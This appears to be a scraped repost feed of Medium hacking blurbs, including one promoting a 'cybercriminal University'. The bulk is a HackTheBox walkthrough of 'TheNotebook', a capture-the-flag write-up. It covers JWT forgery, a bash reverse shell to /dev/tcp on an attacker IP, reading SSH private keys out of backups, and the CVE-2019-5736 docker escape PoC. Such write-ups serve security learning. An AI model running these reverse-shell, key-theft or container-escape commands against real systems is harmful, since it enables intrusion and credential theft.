Hacking on Medium
BE A HACKER !!! -To protect yourself

https://cdn-images-1.medium.com/max/769/1*YM0-nhuZkayD-2SUev5PLg.jpeg
……………………..HOW PROTECTED DO YOU FEEL?………………………

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Courses at HACKTOWN

HACKTOWN cybercriminal University is an online university that caters to beginners wanna be cybercriminals, starts with the basics and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Horizontall: HackTheBox Walkthrough

https://cdn-images-1.medium.com/max/1030/1*OlJvn-AFsPCpltxQ1801GQ.jpeg
Description

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How To Become a Good Hacker?

https://cdn-images-1.medium.com/max/999/0*MOabJhpObwWMjmE5
Everyone wants to become a hacker but without efforts we can’t take forward steps in this field and try to understand each and every key…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploitation of file’s download parameters to create potential risk of malware delivery: $200 bug!

Hi Everyone,Continue reading on Medium »
Read more...

Business Logic Errors - A Logic Destruction

Summary :Continue reading on Medium »
Read more...

Business Logic Errors - A Logic Destruction
https://shahjerry33.medium.com/business-logic-errors-a-logic-destruction-477c4ebc824b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Summary :Continue reading on Medium » (https://shahjerry33.medium.com/business-logic-errors-a-logic-destruction-477c4ebc824b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

A Unique Email Verification Bypass
https://medium.com/@nub_error/a-unique-email-verification-bypass-6688e173a20c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Hackers! , in this write-up, I will tell you how I found a unique email verification bypass.Continue reading on Medium » (https://medium.com/@nub_error/a-unique-email-verification-bypass-6688e173a20c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
TheNotebook HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “TheNotebook.” It is a medium difficulty box targeting commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We’d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology· NmapExploitation· Forging the JWT token with admin rights and self-generated private keyPrivilege Escalation· Recovering SSH private key from an old backup directoryCVE-2019-5736)

· Gaining root accessReconMachine’s IP was 10.129.211.197. The first step was to run nmap’s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A  10.129.211.197https://blogger.googleusercontent.com/img/a/AVvXsEhxStGsjlqoMdg-fqQAmSSYabLKUUB9WK0xjmsnCcz4Olhw2YiFzSgatbKkR5xOP_nrszkGgwv8HwCkODldvhGafKXbu1VuEQH5r2jD9dmeM_3tdWq8mx6AkfTD4AyBjOK29y1jsozULsC75S92ZNEvnXnKX1hOBIkHxzFyWfWNA9QYQyAbHvOjkMrxoQ=s16000 The website opens up a note management tool. There was a register link too.ExploitationSo, we’ll generate a private key, host it on our local server, and change the JWT header to my own key’s location and try if the website fetches and authenticates using our key.openssl genrsa -out privKey.key 2048https://blogger.googleusercontent.com/img/a/AVvXsEiKERiNvpDJYi_lkt_ByiJjfSgLcDTk4f31yDqOV-xI5NycZ2Y5VPDStdO1s7owotkJQl8bczUrzbFbiETOBafn9hY-M7xqrs0B-pANDBQr3l3i3zm2FW0oS01eRW0HGJYuyRMR-Dq9ujfMwtluCI23UdUzADJrHxjhjT3vqy5VyKJMyg37fPBgfsvvFw=s16000 We’d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.___________________________
@hacking_Attack
@Hacking_Video

Look how we’ve changed the location of key, admin_cap is set to true and pasted the key below. Note the color coding to comprehend how the JWT token is made.Privilege EscalationBefore opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.python3 -c 'import pty;pty.spawn("/bin/bash")'In the var/backups directory we saw home.tar.gz which was an old account backup.cp home.tar.gz /tmp/Smart thing to do here is do dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.cat /home/noah/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEjwvANJPXv5FTFtiBAId3w59eLHbuKT_wrARKzdUTKZ2CVLCy0dVv4LyQuhw5IHceMZKDCs4_lDQfZqlWSgodwswH4PLVusDnxLbXlahquCzL3nqS5kiMyVG_v45v8xuDqvJG9mfKPTueVbsDaxFQhB61ZRYGVqzaKz7jy2pRaT6uMfDpvUik2-YKcu5g=s16000 We changed the permission on the key to “600” and logged in to noah’s account using it.nano sshkeyThe user flag was in /home.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEjTJIozJU9Pj9tS2nTnTw2oI1D-d3_VRGOIIhgEDSPoVcjJsNKF4SuCEvPvI0VG60ZORFUVhJaerrhDTDVxezF08A9eFt_xv6MjwlU0aQb4fZ7f8ZqB-kZBwN3gqLUOGuyW7cdDVXBMEuLocISocyaNv_3Mz8ny3E2o1JtUtscj4z7tqcxwTfp7d2AEVg=s16000 We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker es[...]

___________________________
@hacking_Attack
@Hacking_Video

cape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.git clone https://github.com/Frichetten/CVE-2019-5736-PoCHere, we’ll modify the variable “payload” with this bash one linerbash -i >& /dev/tcp/10.10.14.100/9999 0>&1And then we save thisgo build main.gohttps://blogger.googleusercontent.com/img/a/AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000 In the machine, we first jumped into the container using docker exec command.sudo /usr/bin/docker exec -it webapp-dev01 /bin/bashAfter that we’ll copy the exploit in /tmp and execute itcd /tmphttps://blogger.googleusercontent.com/img/a/AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000 Now, we’ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary “sh” has been overwritten by our exploit and it would run the “payload” that we defined in our exploit.sudo /usr/bin/docker exec -it webapp-dev01 shhttps://blogger.googleusercontent.com/img/a/AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000 We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!nc -lvp 9999We snagged the flag in /root directoryConclusionHence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.___________________________
@hacking_Attack
@Hacking_Video